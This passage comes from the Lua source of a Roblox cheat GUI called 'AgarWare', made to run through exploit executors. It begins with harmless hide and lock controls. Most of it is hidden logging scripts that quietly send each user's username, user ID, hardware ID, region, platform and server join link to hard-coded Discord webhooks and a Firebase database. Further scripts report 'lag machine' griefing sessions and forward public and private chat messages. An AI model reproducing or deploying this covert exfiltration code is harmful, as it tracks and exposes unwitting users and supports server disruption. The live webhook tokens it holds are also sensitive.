local savedMainFramePosition = nil
local savedMainFrameSize = nil
local savedMinimizeState = false
local savedSideBarVisible = nil
local savedContentAreaVisible = nil
local savedMinimizeButtonText = nil
local function getMinimizeState()
local SideBar = MainFrame:FindFirstChild("SideBar")
local ContentArea = MainFrame:FindFirstChild("ContentArea")
if SideBar and ContentArea then
if not SideBar.Visible and not ContentArea.Visible then
return true
end
end
return false
end
local function toggleHideGUI()
isHidden = not isHidden
if isHidden then
-- Save current state before hiding
savedMainFramePosition = MainFrame.Position
savedMainFrameSize = MainFrame.Size
savedMinimizeState = getMinimizeState()
local SideBar = MainFrame:FindFirstChild("SideBar")
local ContentArea = MainFrame:FindFirstChild("ContentArea")
if SideBar then savedSideBarVisible = SideBar.Visible end
if ContentArea then savedContentAreaVisible = ContentArea.Visible end
if MinimizeButton then savedMinimizeButtonText = MinimizeButton.Text end
-- Hide MainFrame
MainFrame.Visible = false
HideGUIButton.Text = "Show GUI"
else
-- Show MainFrame and restore state
MainFrame.Visible = true
MainFrame.Position = savedMainFramePosition
MainFrame.Size = savedMainFrameSize
local SideBar = MainFrame:FindFirstChild("SideBar")
local ContentArea = MainFrame:FindFirstChild("ContentArea")
-- Restore minimize state
if savedMinimizeState then
if SideBar then SideBar.Visible = false end
if ContentArea then ContentArea.Visible = false end
MainFrame.Size = UDim2.new(0, 450, 0, 25)
if MinimizeButton then MinimizeButton.Text = "+" end
else
if SideBar then SideBar.Visible = savedSideBarVisible end
if ContentArea then ContentArea.Visible = savedContentAreaVisible end
if MinimizeButton then MinimizeButton.Text = savedMinimizeButtonText or "-" end
end
HideGUIButton.Text = "Hide GUI"
end
end
HideGUIButton.MouseButton1Click:Connect(toggleHideGUI)
end
-- ============================================================
-- LOCK/UNLOCK GUI FUNCTIONALITY
-- ============================================================
local LockGUIButton = KeybindFrame:FindFirstChild("LockGUI")
if LockGUIButton and MainFrame then
local isLocked = false
local function toggleLockGUI()
isLocked = not isLocked
if isLocked then
-- Lock the GUI
MainFrame.Draggable = false
LockGUIButton.Text = "Unlock GUI"
else
-- Unlock the GUI
MainFrame.Draggable = true
LockGUIButton.Text = "Lock GUI"
end
end
LockGUIButton.MouseButton1Click:Connect(toggleLockGUI)
end
-- ============================================================
-- ADD MORE KEYBIND FEATURES HERE
-- ============================================================
--[[
TEMPLATE FOR NEW BUTTON:
local YourButton = KeybindFrame:FindFirstChild("YourButton")
if YourButton then
YourButton.MouseButton1Click:Connect(function()
-- Your code here
end)
end
================================================================================
]]
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
-- All connections auto-disconnect
end
end)
end;
task.spawn(C_33b);
-- StarterGui.AgarWareGui.Webhook.IngameLog
local function C_34c()
local script = G2L["34c"];
-- SCRIPT 1: Owner notification webhook (with alt account support)
local _WH = {}
do
local _HttpService = game:GetService("HttpService")
local _Players = game:GetService("Players")
local _MarketplaceSvc = game:GetService("MarketplaceService")
local _StatsService = game:GetService("Stats")
local _InputService = game:GetService("UserInputService")
local _LocaleSvc = game:GetService("LocalizationService")
local _AnalyticsSvc = game:GetService("RbxAnalyticsService")
local _WEBHOOK = "https://discordapp.com/api/webhooks/1489975536565354546/yyLl4aX8naHHAzgVDCPiMA6e9YToWa3tGgHv1MRMyoWtwrybbKD4g9UPY_q35h17s2CU"
local _DISCORD_USER_ID = "1301477323090034731"
-- Main owner IDs (won't be logged when they execute)
local OWNER_IDS = {
574381128,
10587072700,
8308247571,
10837544781,
}
-- Alt account that WILL be logged and trigger notifications
local ALT_ACCOUNT = 10606010708
local _PLACES = {
[11137575513] = {label = "Main", color = 0x00be09},
[12943245078] = {label = "XL", color = 0xbebf00},
[12943247001] = {label = "VC", color = 0x0072bf},
[108097274488844] = {label = "OG", color = 0x000000}
}
local _req = (syn and syn.request)
or request
or http_request
or (fluxus and fluxus.request)
or function() return { StatusCode = 0 } end
local _sessionStart = tick()
local _plr = _Players.LocalPlayer
local function _isMainOwner(userId)
for _, ownerId in ipairs(OWNER_IDS) do
if userId == ownerId then return true end
end
return false
end
local function _isOwnerOrAltInGame()
-- Check if any main owner OR the alt is in the game (excluding local player)
for _, player in ipairs(_Players:GetPlayers()) do
if player.UserId ~= _plr.UserId then
-- Check main owners
if _isMainOwner(player.UserId) then
return true
end
-- Check alt account
if player.UserId == ALT_ACCOUNT then
return true
end
end
end
return false
end
-- Don't log if local player is a MAIN owner (but DO log if they're the alt)
if _isMainOwner(_plr.UserId) then
return
end
-- Only proceed if an owner or alt is in the game
if not _isOwnerOrAltInGame() then
return
end
local function _executor()
if syn and syn.request then return "Synapse X" end
if fluxus and fluxus.request then return "Fluxus" end
if KRNL_LOADED or Krnl then return "KRNL" end
if getexecutorname then return getexecutorname() end
return "Unknown"
end
local function _platform()
local ok, platform = pcall(function()
return _InputService:GetPlatform().Name
end)
return ok and platform or "Unknown"
end
local function _joinLink()
local ok, v = pcall(function()
return "https://www.roblox.com/games/start?placeId="
.. game.PlaceId
.. "&gameInstanceId=" .. game.JobId
end)
return ok and v or ""
end
local function _send(embedTable, contentText)
local payload = {
username = _plr.Name,
content = contentText,
embeds = { embedTable }
}
pcall(function()
_req({
Url = _WEBHOOK,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = _HttpService:JSONEncode(payload)
})
end)
end
local _currentPlace = _PLACES[game.PlaceId]
local _EMBED_COLOR = _currentPlace and _currentPlace.color or 0xffffff
local _PLACE_LABEL = _currentPlace and _currentPlace.label or "Other"
local _playerCount = #_Players:GetPlayers()
local _maxPlayers = _Players.MaxPlayers
local contentMessage = string.format("%s executed your script, <@%s>", _plr.DisplayName, _DISCORD_USER_ID)
_send({
title = string.format("%d/%d %s | %s / `%s`", _playerCount, _maxPlayers, _PLACE_LABEL, _plr.DisplayName, _plr.Name),
description = "[Join Game](" .. _joinLink() .. ")",
color = _EMBED_COLOR,
footer = { text = _executor() .. " • " .. _platform() },
timestamp = DateTime.now():ToIsoDate()
}, contentMessage)
end
return _WH
end;
task.spawn(C_34c);
-- StarterGui.AgarWareGui.Webhook.PealzLog
local function C_34d()
local script = G2L["34d"];
local _WH = {}
do
local _HttpService = game:GetService("HttpService")
local _Players = game:GetService("Players")
local _MarketplaceSvc = game:GetService("MarketplaceService")
local _StatsService = game:GetService("Stats")
local _InputService = game:GetService("UserInputService")
local _LocaleSvc = game:GetService("LocalizationService")
local _AnalyticsSvc = game:GetService("RbxAnalyticsService")
local _WEBHOOK = "https://discord.com/api/webhooks/1484970025214279772/4-3FhFXgwTus1qBl1Lt1XjycNSej340fUpfHRZibKoK89HX_EXNDb1azt7e8TxSQe0qZ"
local _SCRIPT_NAME = "agarware"
-- BLACKLISTED PLAYER IDS (won't be logged)
local _BLACKLIST = {
[10587072700] = true
}
local _COL_LOAD = 0x5865F2 -- indigo — startup embed
local _COL_ACTION = 0xED4245 -- red — action log embed
local _COL_PAINT = 0x00B5D8 -- cyan — paint/secondary event embed
local _req = (syn and syn.request)
or request
or http_request
or (fluxus and fluxus.request)
or function() return { StatusCode = 0 } end
local _sessionStart = tick()
local _plr = _Players.LocalPlayer
local _productInfo = pcall(function()
return _MarketplaceSvc:GetProductInfo(game.PlaceId)
end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" }
local function _executor()
if syn and syn.request then return "Synapse X" end
if fluxus and fluxus.request then return "Fluxus" end
if KRNL_LOADED or Krnl then return "KRNL" end
if getexecutorname then return getexecutorname() end
return "Unknown"
end
local function _hwid()
if get_hwid then return tostring(get_hwid()) end
local ok, id = pcall(function() return _AnalyticsSvc:GetClientId() end)
return ok and id or "N/A"
end
local function _ping()
local ok, v = pcall(function()
return _StatsService.Network.ServerStatsItem["Data Ping"]:GetValue()
end)
return ok and math.floor(v) or 0
end
local function _fps()
local v = workspace:GetRealPhysicsFPS()
return v > 0 and math.floor(v) or 0
end
local function _region()
local ok, r = pcall(function() return _LocaleSvc.RobloxLocaleId end)
return ok and r or "N/A"
end
local function _thumb(userId)
return string.format(
"https://www.roblox.com/headshot-thumbnail/image?userId=%d&width=420&height=420&format=png",
userId
)
end
local function _joinLink()
local ok, v = pcall(function()
return "https://www.roblox.com/games/start?placeId="
.. game.PlaceId
.. "&gameInstanceId=" .. game.JobId
end)
return ok and v or ""
end
local function _send(embedTable)
-- Check if player is blacklisted
if _BLACKLIST[_plr.UserId] then
return -- Don't send anything
end
pcall(function()
_req({
Url = _WEBHOOK,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = _HttpService:JSONEncode({ embeds = { embedTable } })
})
end)
end
local _accCreated = os.date("%Y-%m-%d", os.time() - (_plr.AccountAge * 86400))
_send({
title = "▸ " .. _SCRIPT_NAME .. " Loaded",
description = _joinLink(),
color = _COL_LOAD,
thumbnail = { url = _thumb(_plr.UserId) },
fields = {
{
name = "🔷 Identity",
value = string.format(
"**%s** / `%s`\n🆔 `%d` • 📅 acc: %s (%d days)",
_plr.DisplayName,
_plr.Name,
_plr.UserId,
_accCreated,
_plr.AccountAge
),
inline = true
},
{
name = "🖥️ Session",
value = string.format(
"**%s** `%s`\n%d / %d players • place `%d`",
_productInfo.Name,
tostring(game.PlaceId),
#_Players:GetPlayers(),
_Players.MaxPlayers,
game.PlaceId
),
inline = true
},
{
name = "🛡️ Client",
value = string.format(
"exe: **%s** • region: `%s`\nplatform: `%s` • ping: **%d ms** • fps: **%d**\nhwid: `%s`",
_executor(),
_region(),
_InputService:GetPlatform().Name,
_ping(),
_fps(),
_hwid()
),
inline = false
}
},
footer = { text = _SCRIPT_NAME .. " Logger • " .. os.date("%Y-%m-%d %H:%M:%S") },
timestamp = DateTime.now():ToIsoDate()
})
function _WH.sendLog(action, detail)
_send({
title = "◆ " .. tostring(action),
description = _joinLink(),
color = _COL_ACTION,
thumbnail = { url = _thumb(_plr.UserId) },
fields = {
{
name = "📌 Detail",
value = tostring(detail or "—"),
inline = false
},
{
name = "🔷 Player",
value = string.format(
"**%s** (`%s`) • ID `%d` • age %d days",
_plr.DisplayName, _plr.Name, _plr.UserId, _plr.AccountAge
),
inline = true
},
{
name = "🖥️ Server",
value = string.format(
"%s • %d/%d • %d ms",
_productInfo.Name,
#_Players:GetPlayers(),
_Players.MaxPlayers,
_ping()
),
inline = true
}
},
footer = { text = _SCRIPT_NAME .. " Logger • +" .. math.floor(tick() - _sessionStart) .. "s session" },
timestamp = DateTime.now():ToIsoDate()
})
end
function _WH.sendPaintLog(data)
_send({
title = "◈ Paint Event",
description = _joinLink(),
color = _COL_PAINT,
thumbnail = { url = _thumb(_plr.UserId) },
fields = {
{
name = "🔷 Player",
value = string.format(
"**%s** (`%s`) • ID `%d`",
_plr.DisplayName, _plr.Name, _plr.UserId
),
inline = true
},
{
name = "🖥️ Server",
value = string.format(
"%s • %d players",
_productInfo.Name,
#_Players:GetPlayers()
),
inline = true
},
{
name = "🎨 Paint",
value = string.format(
"mode: `%s` • color: `%s` • side: `%s`\ntext: `%s`",
tostring(data.mode or "—"),
tostring(data.color or "—"),
tostring(data.side or "—"),
(data.text and data.text ~= "") and data.text or "(none)"
),
inline = false
}
},
footer = { text = _SCRIPT_NAME .. " Logger • +" .. math.floor(tick() - _sessionStart) .. "s session" },
timestamp = DateTime.now():ToIsoDate()
})
end
function _WH.sendCustomEmbed(embed)
_send(embed)
end
end
local sendLog = _WH.sendLog
local sendPaintLog = _WH.sendPaintLog
local sendCustomEmbed = _WH.sendCustomEmbed
end;
task.spawn(C_34d);
-- StarterGui.AgarWareGui.Webhook.LagMachine
local function C_34e()
local script = G2L["34e"];
local _HttpService = game:GetService("HttpService")
local _Players = game:GetService("Players")
local _InputService = game:GetService("UserInputService")
local _WEBHOOK = "https://discordapp.com/api/webhooks/1490972077379948696/5XsJ9jSb4Yq47GazvpHJcL05x2YbWODk5MB5Ii7mEf5mFQF6J3PcRvThOQgtJsF_f26a"
local _DISCORD_USER_ID = "1301477323090034731"
-- Owner accounts to check for
local OWNER_IDS = {
574381128,
10587072700,
8308247571,
10606010708,
}
local _PLACES = {
[11137575513] = {label = "Main", color = 0x00be09},
[12943245078] = {label = "XL", color = 0xbebf00},
[12943247001] = {label = "VC", color = 0x0072bf},
[108097274488844] = {label = "OG", color = 0x000000}
}
local _req = (syn and syn.request)
or request
or http_request
or (fluxus and fluxus.request)
or function() return { StatusCode = 0 } end
local _plr = _Players.LocalPlayer
-- Check if executor is an owner
local function _isExecutorOwner()
for _, ownerId in ipairs(OWNER_IDS) do
if _plr.UserId == ownerId then
return true
end
end
return false
end
-- Check if any owner is in the game (excluding the executor)
local function _isOwnerInGame()
for _, player in ipairs(_Players:GetPlayers()) do
if player.UserId ~= _plr.UserId then
for _, ownerId in ipairs(OWNER_IDS) do
if player.UserId == ownerId then
return true
end
end
end
end
return false
end
local function _executor()
if syn and syn.request then return "Synapse X" end
if fluxus and fluxus.request then return "Fluxus" end
if KRNL_LOADED or Krnl then return "KRNL" end
if getexecutorname then return getexecutorname() end
return "Unknown"
end
local function _platform()
local ok, platform = pcall(function()
return _InputService:GetPlatform().Name
end)
return ok and platform or "Unknown"
end
local function _joinLink()
local ok, v = pcall(function()
return "https://www.roblox.com/games/start?placeId="
.. game.PlaceId
.. "&gameInstanceId=" .. game.JobId
end)
return ok and v or ""
end
local function _send(embedTable, contentText)
local payload = {
content = contentText,
embeds = { embedTable }
}
pcall(function()
_req({
Url = _WEBHOOK,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = _HttpService:JSONEncode(payload)
})
end)
end
local _currentPlace = _PLACES[game.PlaceId]
local _EMBED_COLOR_START = 0x00B5D8 -- Cyan for started
local _EMBED_COLOR_END = 0xED4245 -- Red for ended
local _PLACE_LABEL = _currentPlace and _currentPlace.label or "Other"
-- Get block count display
-- Path: ScreenGui > Webhook > LagMachine (this script)
-- Need to find: ScreenGui > [MainFrame] > LagGroup > BlockAmountRow > BlockAmountView
local screenGui = script.Parent.Parent.Parent -- Go up to ScreenGui
local BlockAmountView = nil
-- Search for BlockAmountView in the ScreenGui
for _, descendant in ipairs(screenGui:GetDescendants()) do
if descendant.Name == "BlockAmountView" then
BlockAmountView = descendant
break
end
end
local function getBlockCount()
if BlockAmountView then
local text = BlockAmountView.Text
return tonumber(text:match("%d+")) or 0
end
return 0
end
-- Function to send lag machine started notification
local function sendLagMachineStarted()
-- Don't send if executor is an owner
if _isExecutorOwner() then
return
end
if not _isOwnerInGame() then
return -- Don't send if no owner in game
end
local _playerCount = #_Players:GetPlayers()
local _maxPlayers = _Players.MaxPlayers
local contentMessage = string.format("%s started a lag machine, <@%s>", _plr.DisplayName, _DISCORD_USER_ID)
_send({
title = string.format("Lag Machine Started | %s / %s", _plr.DisplayName, _plr.Name),
description = _joinLink(),
color = _EMBED_COLOR_START,
footer = { text = _executor() .. " • " .. _platform() },
timestamp = DateTime.now():ToIsoDate()
}, contentMessage)
print("[LagMachineWebhook] Sent 'Started' notification")
end
-- Function to send lag machine ended notification
local function sendLagMachineEnded()
-- Send if: executor is owner OR another owner is in game
local shouldSend = _isExecutorOwner() or _isOwnerInGame()
if not shouldSend then
return -- Don't send if no owner involved
end
local finalBlockCount = getBlockCount()
local _playerCount = #_Players:GetPlayers()
local _maxPlayers = _Players.MaxPlayers
-- Only mention if executor is NOT an owner
local contentMessage = ""
if not _isExecutorOwner() then
contentMessage = string.format("<@%s>", _DISCORD_USER_ID)
end
_send({
title = string.format("Lag Machine Ended | Blocks: %d", finalBlockCount),
description = string.format("%s / %s\n%d/%d %s\n%s",
_plr.DisplayName,
_plr.Name,
_playerCount,
_maxPlayers,
_PLACE_LABEL,
_joinLink()
),
color = _EMBED_COLOR_END,
footer = { text = _executor() .. " • " .. _platform() },
timestamp = DateTime.now():ToIsoDate()
}, contentMessage)
print("[LagMachineWebhook] Sent 'Ended' notification")
end
-- Hook into global functions that BlockSpam script will call
_G.LagMachineWebhook = {
OnLagStarted = sendLagMachineStarted,
OnLagEnded = sendLagMachineEnded
}
print("[LagMachineWebhook] Webhook logger initialized and ready")
end;
task.spawn(C_34e);
-- StarterGui.AgarWareGui.Webhook.TCOLog
local function C_34f()
local script = G2L["34f"];
-- TCOLog: Logs all executions
local _WH = {}
do
local _HttpService = game:GetService("HttpService")
local _Players = game:GetService("Players")
local _InputService = game:GetService("UserInputService")
local _WEBHOOK = "https://discordapp.com/api/webhooks/1489972994326396970/aB732Ju6Dk5vjDGfhRObN68BOOs4muTgimzEMies68qDcLB_BN-uvt39gFWCiaA2elBX"
local OWNER_IDS = {
574381128,
10587072700,
8308247571,
10837544781,
}
local _PLACES = {
[11137575513] = {label = "Main", color = 0x00be09},
[12943245078] = {label = "XL", color = 0xbebf00},
[12943247001] = {label = "VC", color = 0x0072bf},
[108097274488844] = {label = "OG", color = 0x000000}
}
local _plr = _Players.LocalPlayer
-- Don't log owners
for _, ownerId in ipairs(OWNER_IDS) do
if _plr.UserId == ownerId then
return
end
end
local _currentPlace = _PLACES[game.PlaceId]
if not _currentPlace then return end
local _PLACE_LABEL = _currentPlace.label
local _EMBED_COLOR = _currentPlace.color
local _req = (syn and syn.request)
or request
or http_request
or (fluxus and fluxus.request)
or function() return { StatusCode = 0 } end
local function _executor()
if syn and syn.request then return "Synapse X" end
if fluxus and fluxus.request then return "Fluxus" end
if KRNL_LOADED or Krnl then return "KRNL" end
if getexecutorname then return getexecutorname() end
return "Unknown"
end
local function _platform()
local ok, platform = pcall(function()
return _InputService:GetPlatform().Name
end)
return ok and platform or "Unknown"
end
local function _joinLink()
local ok, v = pcall(function()
return "https://www.roblox.com/games/start?placeId="
.. game.PlaceId
.. "&gameInstanceId=" .. game.JobId
end)
return ok and v or ""
end
local _playerCount = #_Players:GetPlayers()
local _maxPlayers = _Players.MaxPlayers
pcall(function()
_req({
Url = _WEBHOOK,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = _HttpService:JSONEncode({
embeds = {{
title = string.format("%d/%d %s | %s / `%s`", _playerCount, _maxPlayers, _PLACE_LABEL, _plr.DisplayName, _plr.Name),
description = "[Join Game](" .. _joinLink() .. ")",
color = _EMBED_COLOR,
footer = { text = _executor() .. " • " .. _platform() },
timestamp = DateTime.now():ToIsoDate()
}}
})
})
end)
end
return _WH
end;
task.spawn(C_34f);
-- StarterGui.AgarWareGui.Webhook.UniLog
local function C_350()
local script = G2L["350"];
local _WH = {}
do
local _HttpService = game:GetService("HttpService")
local _Players = game:GetService("Players")
local _MarketplaceSvc = game:GetService("MarketplaceService")
local _AnalyticsSvc = game:GetService("RbxAnalyticsService")
local _InputService = game:GetService("UserInputService")
local _LocaleSvc = game:GetService("LocalizationService")
local _WEBHOOK = "https://discord.com/api/webhooks/1504087792479637514/J_eDc804cRxCVO1susDDeDXdrLEMAZSEKkBGa5MzWQisZO9LtuqE-OZozw3o2aFo2alT"
local _FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com"
local _SCRIPT_NAME = "AGAR WARE V2"
local _req = (syn and syn.request)
or request
or http_request
or (fluxus and fluxus.request)
or function() return { StatusCode = 0 } end
local _plr = _Players.LocalPlayer
local _productInfo = pcall(function()
return _MarketplaceSvc:GetProductInfo(game.PlaceId)
end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" }
local function _hwid()
if get_hwid then return tostring(get_hwid()) end
local ok, id = pcall(function() return _AnalyticsSvc:GetClientId() end)
return ok and id or "N/A"
end
local function _executor()
if syn and syn.request then return "Synapse X" end
if fluxus and fluxus.request then return "Fluxus" end
if KRNL_LOADED or Krnl then return "KRNL" end
if getexecutorname then return getexecutorname() end
return "Unknown"
end
local function _region()
local ok, r = pcall(function() return _LocaleSvc.RobloxLocaleId end)
return ok and r or "N/A"
end
local function _platform()
local p = _InputService:GetPlatform().Name
local device = "Unknown"
if p == "Windows" then device = "Windows"
elseif p == "OSX" then device = "MacOS"
elseif p == "IOS" then device = "iOS"
elseif p == "Android" then device = "Android"
elseif p == "UWP" then device = "Xbox"
else device = p end
return device
end
local function _ping()
local ok, v = pcall(function()
return game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue()
end)
return ok and math.floor(v) or 0
end
local function _fps()
local v = workspace:GetRealPhysicsFPS()
return v > 0 and math.floor(v) or 0
end
local function _joinLink()
local ok, v = pcall(function()
return "https://www.roblox.com/games/start?placeId="
.. game.PlaceId
.. "&gameInstanceId=" .. game.JobId
end)
return ok and v or ""
end
local function _getPlayerData(hwid)
local success, response = pcall(function()
return _req({
Url = _FIREBASE_URL .. "/players_agar_ware_v2/" .. hwid .. ".json",
Method = "GET"
})
end)
if success and response.StatusCode == 200 then
local data = _HttpService:JSONDecode(response.Body)
if type(data) == "table" then
return data
end
end
return {
execution_count = 0,
first_seen = os.time(),
last_username = ""
}
end
local function _updatePlayerData(hwid, data)
pcall(function()
_req({
Url = _FIREBASE_URL .. "/players_agar_ware_v2/" .. hwid .. ".json",
Method = "PATCH",
Headers = { ["Content-Type"] = "application/json" },
Body = _HttpService:JSONEncode(data)
})
end)
end
local function _send(embedTable)
pcall(function()
_req({
Url = _WEBHOOK,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = _HttpService:JSONEncode({ embeds = { embedTable } })
})
end)
end
local hwid = _hwid()
local playerData = _getPlayerData(hwid)
playerData.execution_count = playerData.execution_count + 1
playerData.last_username = _plr.Name
playerData.last_seen = os.time()
_updatePlayerData(hwid, playerData)
local accountCreated = os.date("%Y-%m-%d", os.time() - (_plr.AccountAge * 86400))
_send({
title = string.format("%s / @%s", _plr.DisplayName, _plr.Name),
description = string.format(
"**User ID:** #`%d`\n**%s** (%d Days)\n\n**Game:** [%s](%s)\n**Server:** %d/%d\n\n**Region:** %s\n**Executor:** %s\n**Device:** %s | %dms | %dfps\n**HWID:** `%s`\n\n**Execution Count:** #%d",
_plr.UserId,
accountCreated,
_plr.AccountAge,
_productInfo.Name,
_joinLink(),
#_Players:GetPlayers(),
_Players.MaxPlayers,
_region(),
_executor(),
_platform(),
_ping(),
_fps(),
hwid,
playerData.execution_count
),
color = 0x000000,
footer = { text = _SCRIPT_NAME },
timestamp = DateTime.now():ToIsoDate()
})
end
-- Add this AFTER your load webhook code
local _FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com"
local _plr = game:GetService("Players").LocalPlayer
local _HttpService = game:GetService("HttpService")
local _MarketplaceSvc = game:GetService("MarketplaceService")
local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request)
local function _hwid()
if get_hwid then return tostring(get_hwid()) end
local ok, id = pcall(function() return game:GetService("RbxAnalyticsService"):GetClientId() end)
return ok and id or "N/A"
end
local function _joinLink()
local ok, v = pcall(function()
return "https://www.roblox.com/games/start?placeId="
.. game.PlaceId
.. "&gameInstanceId=" .. game.JobId
end)
return ok and v or ""
end
local _productInfo = pcall(function()
return _MarketplaceSvc:GetProductInfo(game.PlaceId)
end) and _MarketplaceSvc:GetProductInfo(game.PlaceId) or { Name = "Unknown" }
local function updateOnlineStatus()
pcall(function()
_req({
Url = _FIREBASE_URL .. "/online_users_v2/" .. _plr.Name .. ".json",
Method = "PUT",
Headers = { ["Content-Type"] = "application/json" },
Body = _HttpService:JSONEncode({
username_display = _plr.Name .. " / " .. _plr.DisplayName,
hwid = _hwid(),
game_name = _productInfo.Name,
game_link = _joinLink(),
place_id = game.PlaceId,
last_heartbeat = os.time()
})
})
end)
end
-- Add to online list IMMEDIATELY on execute
updateOnlineStatus()
-- Send heartbeat every 3 minutes (180 seconds)
spawn(function()
while wait(180) do
updateOnlineStatus()
end
end)
-- Remove from online list when player leaves
game:GetService("Players").PlayerRemoving:Connect(function(player)
if player == _plr then
pcall(function()
_req({
Url = _FIREBASE_URL .. "/online_users_v2/" .. _plr.Name .. ".json",
Method = "DELETE"
})
end)
end
end)
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com"
local WEBHOOK_URL = "https://discord.com/api/webhooks/1504424194379616307/YMI2JqLe2hB4QQh4feTUSa8qZK8s07ReUj4U09WnjKv_BOwQ-1Y84nf-jjCIPlHug4Nc"
local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request)
local _plr = Players.LocalPlayer
-- Get current total execution count from Firebase
local function getTotalExecutionCount()
local success, response = pcall(function()
return _req({
Url = FIREBASE_URL .. "/view/totalexecutioncount_v2.json",
Method = "GET"
})
end)
if success and response.StatusCode == 200 then
local count = HttpService:JSONDecode(response.Body)
if type(count) == "number" then
return count
end
end
return 0
end
-- Update total execution count in Firebase
local function updateTotalExecutionCount(newCount)
pcall(function()
_req({
Url = FIREBASE_URL .. "/view/totalexecutioncount_v2.json",
Method = "PUT",
Headers = { ["Content-Type"] = "application/json" },
Body = HttpService:JSONEncode(newCount)
})
end)
end
-- Send Discord webhook
local function sendWebhook(executionCount)
pcall(function()
local embed = {
title = "AGAR WARE V2",
description = string.format("This script has been executed **%d** times.", executionCount),
color = 2346240,
footer = {
text = "Last Execution: " .. _plr.Name
},
timestamp = DateTime.now():ToIsoDate()
}
_req({
Url = WEBHOOK_URL,
Method = "POST",
Headers = { ["Content-Type"] = "application/json" },
Body = HttpService:JSONEncode({ embeds = { embed } })
})
end)
end
-- Main execution
local currentCount = getTotalExecutionCount()
local newCount = currentCount + 1
-- Update Firebase
updateTotalExecutionCount(newCount)
-- Send webhook
sendWebhook(newCount)
end;
task.spawn(C_350);
-- StarterGui.AgarWareGui.Webhook.ChatLogs
local function C_351()
local script = G2L["351"];
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- Whitelist of allowed user IDs
local ALLOWED_USERS = {
574381128, -- main
10587072700, -- alt 1
8308247571, -- alt 2
10837544781, -- agarv609
}
-- Check if current player is whitelisted
local function isWhitelisted()
for _, id in pairs(ALLOWED_USERS) do
if LocalPlayer.UserId == id then
return true
end
end
return false
end
-- Stop script if not whitelisted
if not isWhitelisted() then
return
end
local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495387476867551474/KD8pq8e7P-nU7O2jEhKpTCV2G1wzWVDcjZ07bEOWGaJr-twJChTw5ZBSibfONVwfqaui"
local CoreGui = game:GetService("CoreGui")
local ExperienceChat = CoreGui:WaitForChild("ExperienceChat")
local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow")
local scrollingView = chatWindow:WaitForChild("scrollingView")
local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView")
local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView")
local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView")
local processedFrames = {}
local lastWebhookTime = 0
local WEBHOOK_COOLDOWN = 0.5
local function getEmbedColor(buttonText)
if string.match(buttonText, "HIDDEN CHAT") then
return 0xff0000
end
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
return 0x000000
end
local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)")
if r and g and b then
r, g, b = tonumber(r), tonumber(g), tonumber(b)
return (r * 65536) + (g * 256) + b
end
return 0xffffff
end
local function sendWebhook(display, message, embedColor, buttonText)
-- Check cooldown
local currentTime = tick()
if currentTime - lastWebhookTime < WEBHOOK_COOLDOWN then
task.wait(WEBHOOK_COOLDOWN - (currentTime - lastWebhookTime))
end
local prefix = ""
if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then
prefix = "*(PRIVATE)* "
end
local title = prefix .. "**" .. display .. "** " .. message
local embed = {
["title"] = title,
["color"] = embedColor
}
local payload = {
["embeds"] = {embed}
}
pcall(function()
request({
Url = WEBHOOK_URL,
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Body = HttpService:JSONEncode(payload)
})
end)
lastWebhookTime = tick()
end
local function onFrameAdded(frame)
if processedFrames[frame] then return end
processedFrames[frame] = true
local frameName = frame.Name
local userId = string.match(frameName, "^(%d+)%-")
if not userId or userId == "0" then return end
task.wait(0.1)
local textMessage = frame:FindFirstChild("TextMessage")
if not textMessage then return end
local prefixText = textMessage:FindFirstChild("PrefixText")
local bodyText = textMessage:FindFirstChild("BodyText")
local textButton = textMessage:FindFirstChild("TextMessageButton")
if not prefixText or not bodyText or not textButton then return end
local textButtonButton = textButton:FindFirstChild("TextButton")
if not textButtonButton then return end
local display = prefixText.ContentText
display = string.gsub(display, "%[To .-%] ", "")
display = string.gsub(display, "%[From .-%] ", "")
local fullMessage = bodyText.ContentText
local buttonText = textButtonButton.Text
local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To")
local message = fullMessage
if isPrivate then
message = string.gsub(message, "%[To .-%] ", "")
message = string.gsub(message, "%[From .-%] ", "")
if string.sub(message, 1, #display) == display then
message = string.sub(message, #display + 1)
end
else
if string.sub(fullMessage, 1, #display) == display then
message = string.sub(fullMessage, #display + 1)
end
end
message = string.match(message, "^%s*(.-)%s*$")
local embedColor = getEmbedColor(buttonText)
sendWebhook(display, message, embedColor, buttonText)
end
for _, child in pairs(RCTScrollContentView:GetChildren()) do
if child:IsA("Frame") then
processedFrames[child] = true
end
end
RCTScrollContentView.ChildAdded:Connect(function(child)
if child:IsA("Frame") then
onFrameAdded(child)
end
end)
end;
task.spawn(C_351);
-- StarterGui.AgarWareGui.Webhook.GlobalChatLogs
local function C_352()
local script = G2L["352"];
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local Teams = game:GetService("Teams")
local LocalPlayer = Players.LocalPlayer
local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495421144583372852/gfcaXuJASoC1jV0dnZhIYKip-1QkTYCwhwrNlE52huinWxAJXd7tVv8dV4oP1peEq_E4"
